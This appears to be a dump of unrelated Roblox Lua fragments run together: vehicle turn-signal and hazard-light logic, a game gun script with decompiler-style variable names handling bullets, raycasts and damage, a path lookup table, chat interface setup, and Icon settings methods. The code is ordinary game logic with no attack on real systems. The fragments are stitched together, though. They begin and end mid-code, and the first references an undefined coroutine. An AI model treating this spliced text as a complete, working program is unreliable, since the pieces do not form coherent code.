script.ClickOn:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() for i = 1, Sequential_Segments do LightEvent:FireServer("Hazards", 0, 0.02, Indicator_Type, Sequential_Indicators, i) wait(Indicator_Flash_Rate / Sequential_Segments) end wait(0.1) script.ClickOff:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() LightEvent:FireServer("Hazards", 0, 1, Indicator_Type, Sequential_Indicators, 1) wait(Indicator_Flash_Rate) else LightEvent:FireServer("Hazards", 0, 1, Indicator_Type, Sequential_Indicators, 1) end end end end) local co = coroutine.create(function() while wait() do if not Sequential_Indicators then if LI.Value then RI.Value = false H.Value = false script.ClickOn:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() LightEvent:FireServer("SignalLeft", 1, 0.02, Indicator_Type) wait(Indicator_Flash_Rate) script.ClickOff:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() if Running_Light_Location == "Low Beam / Indicators" and parklightActive then LightEvent:FireServer("SignalLeft", 0, 0.71, Indicator_Type) else LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type) end wait(Indicator_Flash_Rate) else TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() if Running_Light_Location == "Low Beam / Indicators" and parklightActive then LightEvent:FireServer("SignalLeft", 0, 0.71, Indicator_Type) else LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type) end end if RI.Value then LI.Value = false H.Value = false script.ClickOn:Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() LightEvent:FireServer("SignalRight", 1, 0.02, Indicator_Type) wait(Indicator_Flash_Rate) script.ClickOff:Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() if Running_Light_Location == "Indicators" and parklightActive then LightEvent:FireServer("SignalRight", 0, 0.71, Indicator_Type) else LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type) end wait(Indicator_Flash_Rate) else TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() if Running_Light_Location == "Low Beam / Indicators" and parklightActive then LightEvent:FireServer("SignalRight", 0, 0.71, Indicator_Type) else LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type) end end if H.Value then LI.Value = false RI.Value = false script.ClickOn:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() LightEvent:FireServer("Hazards", 1, 0.02, Indicator_Type) wait(Indicator_Flash_Rate) script.ClickOff:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() if Running_Light_Location == "Low Beam / Indicators" and parklightActive then LightEvent:FireServer("Hazards", 0, 0.71, Indicator_Type) else LightEvent:FireServer("Hazards", 0, 1, Indicator_Type) end wait(Indicator_Flash_Rate) else TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() if Running_Light_Location == "Low Beam / Indicators" and parklightActive then LightEvent:FireServer("Hazards", 0, 0.71, Indicator_Type) else LightEvent:FireServer("Hazards", 0, 1, Indicator_Type) end end end end end) coroutine.resume(co) coroutine.resume(co2)
--// Firemode Functions
function CreateBullet(L_197_arg1) local L_198_ = L_56_.Position local L_199_ = (L_4_.Hit.p - L_198_).unit local L_200_ = CFrame.Angles(math.rad(math.random(-L_197_arg1, L_197_arg1)), math.rad(math.random(-L_197_arg1, L_197_arg1)), math.rad(math.random(-L_197_arg1, L_197_arg1))) L_199_ = L_200_ * L_199_ local L_201_ = CFrame.new(L_198_, L_198_ + L_199_) local L_202_ = Instance.new("Part", L_98_) game.Debris:AddItem(L_202_, 10) L_202_.Shape = Enum.PartType.Ball L_202_.Size = Vector3.new(1, 1, 12) L_202_.Name = "Bullet" L_202_.TopSurface = "Smooth" L_202_.BottomSurface = "Smooth" L_202_.BrickColor = BrickColor.new("Bright green") L_202_.Material = "Neon" L_202_.CanCollide = false --Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p) L_202_.CFrame = L_201_ local L_203_ = Instance.new("Sound") L_203_.SoundId = "rbxassetid://341519743" L_203_.Looped = true L_203_:Play() L_203_.Parent = L_202_ L_203_.Volume = 0.4 L_203_.MaxDistance = 30 L_202_.Transparency = 1 local L_204_ = L_202_:GetMass() local L_205_ = Instance.new('BodyForce', L_202_) if not L_80_ then L_205_.Force = L_24_.BulletPhysics L_202_.Velocity = L_199_ * L_24_.BulletSpeed else L_205_.Force = L_24_.ExploPhysics L_202_.Velocity = L_199_ * L_24_.ExploSpeed end local L_206_ = Instance.new('Attachment', L_202_) L_206_.Position = Vector3.new(0.1, 0, 0) local L_207_ = Instance.new('Attachment', L_202_) L_207_.Position = Vector3.new(-0.1, 0, 0) local L_208_ = TracerCalculation() if L_24_.TracerEnabled == true and L_208_ then local L_209_ = Instance.new('Trail', L_202_) L_209_.Attachment0 = L_206_ L_209_.Attachment1 = L_207_ L_209_.Transparency = NumberSequence.new(L_24_.TracerTransparency) L_209_.LightEmission = L_24_.TracerLightEmission L_209_.TextureLength = L_24_.TracerTextureLength L_209_.Lifetime = L_24_.TracerLifetime L_209_.FaceCamera = L_24_.TracerFaceCamera L_209_.Color = ColorSequence.new(L_24_.TracerColor.Color) end if L_1_:FindFirstChild('Shell') and not L_80_ then CreateShell() end delay(0.2, function() L_202_.Transparency = 0 end) return L_202_ end function CheckForHumanoid(L_210_arg1) local L_211_ local L_212_ if (L_210_arg1.Parent:FindFirstChild("Humanoid") or L_210_arg1.Parent.Parent:FindFirstChild("Humanoid")) then L_211_ = true if L_210_arg1.Parent:FindFirstChild('Humanoid') then L_212_ = L_210_arg1.Parent.Humanoid elseif L_210_arg1.Parent.Parent:FindFirstChild('Humanoid') then L_212_ = L_210_arg1.Parent.Parent.Humanoid end else L_211_ = false end return L_211_, L_212_ end function CastRay(L_213_arg1) local L_214_, L_215_, L_216_ local L_217_ = L_53_.Position; local L_218_ = L_213_arg1.Position; local L_219_ = 0 local L_220_ = L_80_ while true do L_103_:wait() L_218_ = L_213_arg1.Position; L_219_ = L_219_ + (L_218_ - L_217_).magnitude L_214_, L_215_, L_216_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_217_, (L_218_ - L_217_)), IgnoreList); local L_221_ = Vector3.new(0, 1, 0):Cross(L_216_) local L_222_ = math.asin(L_221_.magnitude) -- division by 1 is redundant if L_219_ > L_24_.BulletDecay then L_213_arg1:Destroy() break end if L_214_ and (L_214_ and L_214_.Transparency >= 1 or L_214_.CanCollide == false) and L_214_.Name ~= 'Right Arm' and L_214_.Name ~= 'Left Arm' and L_214_.Name ~= 'Right Leg' and L_214_.Name ~= 'Left Leg' and L_214_.Name ~= 'Armor' then table.insert(IgnoreList, L_214_) end if L_214_ then L_221_ = Vector3.new(0, 1, 0):Cross(L_216_) L_222_ = math.asin(L_221_.magnitude) -- division by 1 is redundant L_115_:FireServer(L_215_) local L_223_ = CheckForHumanoid(L_214_) if L_223_ == false then L_213_arg1:Destroy() local L_224_ = L_110_:InvokeServer(L_215_, L_221_, L_222_, L_216_, "Part", L_214_) elseif L_223_ == true then L_213_arg1:Destroy() local L_225_ = L_110_:InvokeServer(L_215_, L_221_, L_222_, L_216_, "Human", L_214_) end end if L_214_ and L_220_ then L_113_:FireServer(L_215_) end if L_214_ and (L_214_.Parent:FindFirstChild("Humanoid") or L_214_.Parent.Parent:FindFirstChild("Humanoid")) then local L_226_, L_227_ = CheckForHumanoid(L_214_) if L_226_ then L_108_:FireServer(L_227_) if L_24_.AntiTK then if game.Players:FindFirstChild(L_227_.Parent.Name) and game.Players:FindFirstChild(L_227_.Parent.Name).TeamColor ~= L_2_.TeamColor then if L_214_.Name == 'Head' then L_107_:FireServer(L_227_, L_24_.HeadDamage) local L_228_ = L_19_:WaitForChild('BodyHit'):clone() L_228_.Parent = L_2_.PlayerGui L_228_:Play() game:GetService("Debris"):addItem(L_228_, L_228_.TimeLength) end if L_214_.Name ~= 'Head' and not (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then if L_214_.Name ~= 'Torso' and L_214_.Name ~= 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then L_107_:FireServer(L_227_, L_24_.LimbDamage) elseif L_214_.Name == 'Torso' or L_214_.Name == 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then L_107_:FireServer(L_227_, L_24_.BaseDamage) elseif L_214_.Name == 'Armor' then L_107_:FireServer(L_227_, L_24_.ArmorDamage) end local L_229_ = L_19_:WaitForChild('BodyHit'):clone() L_229_.Parent = L_2_.PlayerGui L_229_:Play() game:GetService("Debris"):addItem(L_229_, L_229_.TimeLength) end if (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then L_107_:FireServer(L_227_, L_24_.HeadDamage) local L_230_ = L_19_:WaitForChild('BodyHit'):clone() L_230_.Parent = L_2_.PlayerGui L_230_:Play() game:GetService("Debris"):addItem(L_230_, L_230_.TimeLength) end end else if L_214_.Name == 'Head' then L_107_:FireServer(L_227_, L_24_.HeadDamage) local L_231_ = L_19_:WaitForChild('BodyHit'):clone() L_231_.Parent = L_2_.PlayerGui L_231_:Play() game:GetService("Debris"):addItem(L_231_, L_231_.TimeLength) end if L_214_.Name ~= 'Head' and not (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then if L_214_.Name ~= 'Torso' and L_214_.Name ~= 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then L_107_:FireServer(L_227_, L_24_.LimbDamage) elseif L_214_.Name == 'Torso' or L_214_.Name == 'HumanoidRootPart' and L_214_.Name ~= 'Armor' then L_107_:FireServer(L_227_, L_24_.BaseDamage) elseif L_214_.Name == 'Armor' then L_107_:FireServer(L_227_, L_24_.ArmorDamage) end local L_232_ = L_19_:WaitForChild('BodyHit'):clone() L_232_.Parent = L_2_.PlayerGui L_232_:Play() game:GetService("Debris"):addItem(L_232_, L_232_.TimeLength) end if (L_214_.Parent:IsA('Accessory') or L_214_.Parent:IsA('Hat')) then L_107_:FireServer(L_227_, L_24_.HeadDamage) local L_233_ = L_19_:WaitForChild('BodyHit'):clone() L_233_.Parent = L_2_.PlayerGui L_233_:Play() game:GetService("Debris"):addItem(L_233_, L_233_.TimeLength) end end end end if L_214_ and L_214_.Parent:FindFirstChild("Humanoid") then return L_214_, L_215_; end L_217_ = L_218_; end end function fireSemi() if L_15_ then L_66_ = false Recoiling = true Shooting = true --CheckReverb() L_56_:WaitForChild('Fire'):Play() L_106_:FireServer() L_99_ = CreateBullet(L_24_.BulletSpread) L_100_ = L_100_ - 1 UpdateAmmo() RecoilFront = true local L_234_, L_235_ = spawn(function() CastRay(L_99_) end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true then if L_100_ > 0 then BoltingForwardAnim() end end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) local L_236_ = JamCalculation() if L_236_ then L_66_ = false else L_66_ = true end Shooting = false end end function fireExplo() if L_15_ then L_66_ = false Recoiling = true Shooting = true L_57_:WaitForChild('Fire'):Play() L_106_:FireServer() L_99_ = CreateBullet(L_24_.BulletSpread) L_102_ = L_102_ - 1 UpdateAmmo() RecoilFront = true local L_237_, L_238_ = spawn(function() CastRay(L_99_) end) delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) L_66_ = false Shooting = false end end function fireShot() if L_15_ then L_66_ = false Recoiling = true Shooting = true RecoilFront = true --CheckReverb() L_56_:WaitForChild('Fire'):Play() L_106_:FireServer() for L_240_forvar1 = 1, L_24_.ShotNum do L_99_ = CreateBullet(L_24_.BulletSpread) local L_241_, L_242_ = spawn(function() CastRay(L_99_) end) end for L_243_forvar1, L_244_forvar2 in pairs(L_56_:GetChildren()) do if L_244_forvar2.Name:sub(1, 7) == "FlashFX" then L_244_forvar2.Enabled = true end end delay(1 / 30, function() for L_245_forvar1, L_246_forvar2 in pairs(L_56_:GetChildren()) do if L_246_forvar2.Name:sub(1, 7) == "FlashFX" then L_246_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true then if L_100_ > 0 then BoltingForwardAnim() end end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) L_100_ = L_100_ - 1 UpdateAmmo() wait(L_24_.Firerate) L_73_ = true BoltBackAnim() BoltForwardAnim() IdleAnim() L_73_ = false local L_239_ = JamCalculation() if L_239_ then L_66_ = false else L_66_ = true end Shooting = false end end function fireBoltAction() if L_15_ then L_66_ = false Recoiling = true Shooting = true --CheckReverb() L_56_:WaitForChild('Fire'):Play() L_106_:FireServer() L_99_ = CreateBullet(L_24_.BulletSpread) L_100_ = L_100_ - 1 UpdateAmmo() RecoilFront = true local L_247_, L_248_ = spawn(function() CastRay(L_99_) end) for L_250_forvar1, L_251_forvar2 in pairs(L_56_:GetChildren()) do if L_251_forvar2.Name:sub(1, 7) == "FlashFX" then L_251_forvar2.Enabled = true end end delay(1 / 30, function() for L_252_forvar1, L_253_forvar2 in pairs(L_56_:GetChildren()) do if L_253_forvar2.Name:sub(1, 7) == "FlashFX" then L_253_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true then if L_100_ > 0 then BoltingForwardAnim() end end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) L_73_ = true BoltBackAnim() BoltForwardAnim() IdleAnim() L_73_ = false local L_249_ = JamCalculation() if L_249_ then L_66_ = false else L_66_ = true end Shooting = false end end function fireAuto() while not Shooting and L_100_ > 0 and L_65_ and L_66_ and L_15_ do L_66_ = false Recoiling = true --CheckReverb() L_56_:WaitForChild('Fire'):Play() L_106_:FireServer() L_100_ = L_100_ - 1 UpdateAmmo() Shooting = true RecoilFront = true L_99_ = CreateBullet(L_24_.BulletSpread) local L_254_, L_255_ = spawn(function() CastRay(L_99_) end) for L_257_forvar1, L_258_forvar2 in pairs(L_56_:GetChildren()) do if L_258_forvar2.Name:sub(1, 7) == "FlashFX" then L_258_forvar2.Enabled = true end end delay(1 / 30, function() for L_259_forvar1, L_260_forvar2 in pairs(L_56_:GetChildren()) do if L_260_forvar2.Name:sub(1, 7) == "FlashFX" then L_260_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true then if L_100_ > 0 then BoltingForwardAnim() end end end) end delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) local L_256_ = JamCalculation() if L_256_ then L_66_ = false else L_66_ = true end Shooting = false end end function fireBurst() if not Shooting and L_100_ > 0 and L_65_ and L_15_ then for L_261_forvar1 = 1, L_24_.BurstNum do if L_100_ > 0 and L_65_ then L_66_ = false Recoiling = true --CheckReverb() L_56_:WaitForChild('Fire'):Play() L_106_:FireServer() L_99_ = CreateBullet(L_24_.BulletSpread) local L_262_, L_263_ = spawn(function() CastRay(L_99_) end) for L_265_forvar1, L_266_forvar2 in pairs(L_56_:GetChildren()) do if L_266_forvar2.Name:sub(1, 7) == "FlashFX" then L_266_forvar2.Enabled = true end end delay(1 / 30, function() for L_267_forvar1, L_268_forvar2 in pairs(L_56_:GetChildren()) do if L_268_forvar2.Name:sub(1, 7) == "FlashFX" then L_268_forvar2.Enabled = false end end end) if L_24_.CanBolt == true then BoltingBackAnim() delay(L_24_.Firerate / 2, function() if L_24_.CanSlideLock == false then BoltingForwardAnim() elseif L_24_.CanSlideLock == true then if L_100_ > 0 then BoltingForwardAnim() end end end) end L_100_ = L_100_ - 1 UpdateAmmo() RecoilFront = true delay(L_24_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_24_.Firerate) local L_264_ = JamCalculation() if L_264_ then L_66_ = false else L_66_ = true end end Shooting = true end Shooting = false end end function Shoot() if L_15_ and L_66_ then if L_89_ == 1 then fireSemi() elseif L_89_ == 2 then fireAuto() elseif L_89_ == 3 then fireBurst() elseif L_89_ == 4 then fireBoltAction() elseif L_89_ == 5 then fireShot() elseif L_89_ == 6 then fireExplo() end end end
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{38,40,39,41,30,56,58},t}, [49]={{38,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{38,40,39,41,30,56,58,20,19},t}, [59]={{38,40,39,41,59},t}, [63]={{38,40,39,41,30,56,58,23,62,63},t}, [34]={{38,35,34},t}, [21]={{38,40,39,41,30,56,58,20,21},t}, [48]={{38,35,34,32,31,29,28,44,45,49,48},t}, [27]={{38,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{38,35,34,32,31},t}, [56]={{38,40,39,41,30,56},t}, [29]={{38,35,34,32,31,29},t}, [13]={n,f}, [47]={{38,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{38,35,34,32,31,29,28,44,45},t}, [57]={{38,40,39,41,30,56,57},t}, [36]={{38,35,37,36},t}, [25]={{38,35,34,32,31,29,28,27,26,25},t}, [71]={{38,40,39,41,59,61,71},t}, [20]={{38,40,39,41,30,56,58,20},t}, [60]={{38,40,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{38,40,39,41,59,61,71,72,76,73,75},t}, [22]={{38,40,39,41,30,56,58,20,21,22},t}, [74]={{38,40,39,41,59,61,71,72,76,73,74},t}, [62]={{38,40,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{38,35,37},t}, [2]={n,f}, [35]={{38,35},t}, [53]={{38,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{38,40,39,41,59,61,71,72,76,73},t}, [72]={{38,40,39,41,59,61,71,72},t}, [33]={{38,35,37,36,33},t}, [69]={{38,40,39,41,60,69},t}, [65]={{38,40,39,41,30,56,58,20,19,66,64,65},t}, [26]={{38,35,34,32,31,29,28,27,26},t}, [68]={{38,40,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{38,40,39,41,59,61,71,72,76},t}, [50]={{38,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{38,40,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{38,35,34,32,31,29,28,27,26,25,24},t}, [23]={{38,40,39,41,30,56,58,23},t}, [44]={{38,35,34,32,31,29,28,44},t}, [39]={{38,40,39},t}, [32]={{38,35,34,32},t}, [3]={n,f}, [30]={{38,40,39,41,30},t}, [51]={{38,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{38,40,39,41,30,56,58,20,19,66,64,67},t}, [61]={{38,40,39,41,59,61},t}, [55]={{38,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{38,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{38,42},t}, [40]={{38,40},t}, [52]={{38,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{38,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{38,40,39,41},t}, [17]={n,f}, [38]={{38},t}, [28]={{38,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{38,40,39,41,30,56,58,20,19,66,64},t}, } return r
--// Rest of code after waiting for correct events.
local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:wait() LocalPlayer = Players.LocalPlayer end local canChat = true local ChatDisplayOrder = 6 if ChatSettings.ScreenGuiDisplayOrder ~= nil then ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local GuiParent = Instance.new("ScreenGui") GuiParent.Name = "Chat" GuiParent.ResetOnSpawn = false GuiParent.DisplayOrder = ChatDisplayOrder GuiParent.Parent = PlayerGui local DidFirstChannelsLoads = false local modulesFolder = script local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow")) local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar")) local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar")) local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator")) local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay")) local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor")) local ChatWindow = moduleChatWindow.new() local ChannelsBar = moduleChannelsBar.new() local MessageLogDisplay = moduleMessageLogDisplay.new() local CommandProcessor = moduleCommandProcessor.new() local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow) ChatWindow:CreateGuiObjects(GuiParent) ChatWindow:RegisterChatBar(ChatBar) ChatWindow:RegisterChannelsBar(ChannelsBar) ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay) MessageCreatorUtil:RegisterChatWindow(ChatWindow) local MessageSender = require(modulesFolder:WaitForChild("MessageSender")) MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest) if (UserInputService.TouchEnabled) then ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarText",'Tap here to chat')) else ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarTextTouch",'To chat click here or press "/" key')) end spawn(function() local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil")) local animationFps = ChatSettings.ChatAnimationFPS or 20.0 local updateWaitTime = 1.0 / animationFps local lastTick = tick() while true do local currentTick = tick() local tickDelta = currentTick - lastTick local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta) if dtScale ~= 0 then ChatWindow:Update(dtScale) end lastTick = currentTick task.wait(updateWaitTime) end end)
-- CORE UTILITY METHODS
function Icon:set(settingName, value, iconState, setAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) if type(iconState) == "string" then iconState = iconState:lower() end local previousValue = self:get(settingName, iconState) if iconState == "hovering" then -- Apply hovering state if valid settingDetail.hoveringValue = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..iconState] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue end self:_update(settingName) else -- Update the settings value local toggleState = iconState local settingType = settingDetail.type if settingType == "toggleable" then local valuesToSet = {} if toggleState == "deselected" or toggleState == "selected" then table.insert(valuesToSet, toggleState) else table.insert(valuesToSet, "deselected") table.insert(valuesToSet, "selected") toggleState = nil end for i, v in pairs(valuesToSet) do settingDetail.values[v] = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..v] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..v] = previousValue end end else settingDetail.value = value if type(setAdditional) == "string" then if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous"] = previousValue end settingDetail.additionalValues[setAdditional] = previousValue end end -- Check previous and new are not the same if previousValue == value then return self, "Value was already set" end -- Update appearances of associated instances local currentToggleState = self:getToggleState() if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1) local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0) self:_update(settingName, currentToggleState, tweenInfo) end end -- Call any methods present if settingDetail.callMethods then for _, callMethod in pairs(settingDetail.callMethods) do callMethod(self, value, iconState) end end -- Call any signals present if settingDetail.callSignals then for _, callSignal in pairs(settingDetail.callSignals) do callSignal:Fire() end end return self end function Icon:setAdditionalValue(settingName, setAdditional, value, iconState) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) local stringMatch = setAdditional.."_" if iconState then stringMatch = stringMatch..iconState end for key, _ in pairs(settingDetail.additionalValues) do if string.match(key, stringMatch) then settingDetail.additionalValues[key] = value end end end function Icon:get(settingName, iconState, getAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) local valueToReturn, additionalValueToReturn if typeof(iconState) == "string" then iconState = iconState:lower() end --if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then if (iconState == "hovering") and getAdditional == nil then valueToReturn = settingDetail.hoveringValue additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState] end local settingType = settingDetail.type if settingType == "toggleable" then local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState() if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState] end if valueToReturn == nil then valueToReturn = settingDetail.values[toggleState] end else if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional] end if valueToReturn == nil then valueToReturn = settingDetail.value end end return valueToReturn, additionalValueToReturn end function Icon:getHovering(settingName) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) return settingDetail.hoveringValue end function Icon:getToggleState(isSelected) isSelected = isSelected or self.isSelected return (isSelected and "selected") or "deselected" end function Icon:getIconState() if self.hovering then return "hovering" else return self:getToggleState() end end function Icon:_update(settingName, toggleState, customTweenInfo) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) toggleState = toggleState or self:getToggleState() local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState]) if self.hovering and settingDetail.hoveringValue then value = settingDetail.hoveringValue end if value == nil then return end local tweenInfo = customTweenInfo or (settingDetail.tweenAction and settingDetail.tweenAction ~= "" and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15) local propertyName = settingDetail.propertyName local invalidPropertiesTypes = { ["string"] = true, ["NumberSequence"] = true, ["Text"] = true, ["EnumItem"] = true, ["ColorSequence"] = true, } local uniqueSetting = self._uniqueSettingsDictionary[settingName] local newValue = value if settingDetail.useForcedGroupValue then newValue = settingDetail.forcedGroupValue end if settingDetail.instanceNames then for _, instanceName in pairs(settingDetail.instanceNames) do local instance = self.instances[instanceName] local propertyType = typeof(instance[propertyName]) local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table" if uniqueSetting then uniqueSetting(settingName, instance, propertyName, newValue) elseif cannotTweenProperty then instance[propertyName] = value else tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play() end -- if settingName == "iconSize" and instance[propertyName] ~= newValue then self.updated:Fire() end -- end end end function Icon:_updateAll(iconState, customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames then self:_update(settingName, iconState, customTweenInfo) end end -- It's important we adapt the size of anything that could be changed through Localization -- In this case, the icon label, caption and tip self:_updateIconSize() self:_updateCaptionSize() self:_updateTipSize() end function Icon:_updateHovering(customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then self:_update(settingName, nil, customTweenInfo) end end end function Icon:_updateStateOverlay(transparency, color) local stateOverlay = self.instances.iconOverlay stateOverlay.BackgroundTransparency = transparency or 1 stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1) end function Icon:setTheme(theme, updateAfterSettingAll) self._updateAfterSettingAll = updateAfterSettingAll for settingsType, settingsDetails in pairs(theme) do if settingsType == "toggleable" then for settingName, settingValue in pairs(settingsDetails.deselected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "both") end end for settingName, settingValue in pairs(settingsDetails.selected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "selected") end end else for settingName, settingValue in pairs(settingsDetails) do if not self.lockedSettings[settingName] then local settingDetail = self._settingsDictionary[settingName] if settingsType == "action" and settingDetail == nil then settingDetail = {} self._settingsDictionary[settingName] = {} end self:set(settingName, settingValue) end end end end self._updateAfterSettingAll = nil if updateAfterSettingAll then self:_updateAll() end return self end function Icon:getInstance(instanceName) return self.instances[instanceName] end function Icon:setInstance(instanceName, instance) local originalInstance = self.instances[instanceName] self.instances[instanceName] = instance if originalInstance then originalInstance:Destroy() end return self end function Icon:getSettingDetail(targetSettingName) for _, settingsDetails in pairs(self._settings) do for settingName, settingDetail in pairs(settingsDetails) do if settingName == targetSettingName then return settingDetail end end end return false end function Icon:modifySetting(settingName, dictionary) local settingDetail = self:getSettingDetail(settingName) for key, value in pairs(dictionary) do settingDetail[key] = value end return self end function Icon:convertLabelToNumberSpinner(numberSpinner) -- This updates the 